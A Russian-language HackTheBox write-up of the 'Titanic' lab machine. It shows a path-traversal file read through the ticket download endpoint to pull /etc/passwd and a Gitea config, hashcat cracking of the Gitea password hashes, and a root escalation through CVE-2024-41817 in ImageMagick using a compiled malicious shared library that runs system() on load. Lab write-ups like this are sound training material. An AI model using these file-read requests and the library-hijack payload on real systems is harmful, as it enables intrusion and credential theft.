Skip to main content

Titanic HackTheBox Writeup

·274 words·2 mins·
Author
FaLLenSkiLL

Описание изображения

HTB machine link: https://app.hackthebox.com/machines/Titanic

Recon
#

В начале как обычно проверяем доступность машины и сканируем открытые порты

Описание изображения

При обращении к вебу нас автоматически перенаправляет на titanic.htb

Описание изображения

Сразу добавляем запись в /etc/hosts

echo "10.10.11.55 titanic.htb" | sudo tee -a /etc/hosts

Описание изображения

User flag
#

При подтверждении путешествия у нас скачивается билет

Описание изображения

Запрос выглядит таким образом:

Описание изображения

Так как функционал чтения билетов реализован небезопасно, мы можем заменить название файла с билетом на название файла, который хотим прочитать. Например /etc/passwd

Описание изображения

Узнаем, что у нас есть активный пользователь developer

Описание изображения

У которого лежит user flag

Описание изображения

Root flag
#

Прочитав /etc/hosts, можно узнать, что существует поддомен dev

curl --path-as-is 'http://titanic.htb/download?ticket=/etc/hosts'

Описание изображения

Сразу его добавляем к себе

echo "10.10.11.55 dev.titanic.htb" | sudo tee -a /etc/hosts

На этом поддомене поднята gitea

Описание изображения

У которой кстати открыт /explore

http://dev.titanic.htb/explore/repos

Описание изображения

Описание изображения

Из файла docker-compose.yml узнаем путь к директории gitea

Описание изображения

Через LFI вытаскиваем дефолтный конфиг

curl --path-as-is 'http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini'

Описание изображения

Из конфига узнаем путь к базе данных

Описание изображения

Описание изображения

В самой БДшке содержатся хеши паролей, остается только их достать и сбрутить

Описание изображения

Описание изображения

hashcat gitea.hashes rockyou.txt
Username: developer
Password: ********

Описание изображения

С помощью find, находим директории с правами на запись

find /opt -writable -type d 2>/dev/null

Описание изображения

Из .sh файла узнаем, что на тачке стоит imagemagick

Описание изображения

Описание изображения

Существует подходящая CVE-2024-41817 под эту версию, которая позволяет выполнить произвольный код путем загрузки вредоносных общих библиотек в текущий рабочий каталог при выполнении ImageMagick: https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

Описание изображения

Из identify_images.sh мы знаем, что нужная нам директория - /opt/app/static/assets/images/. Создадим в ней библиотеку, которая скопирует файл /root/root.txt и изменит его права доступа:

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /root/root.txt root.txt; chmod 754 root.txt");
    exit(0);
}
EOF

Через несколько секунд в директории появится флаг

Описание изображения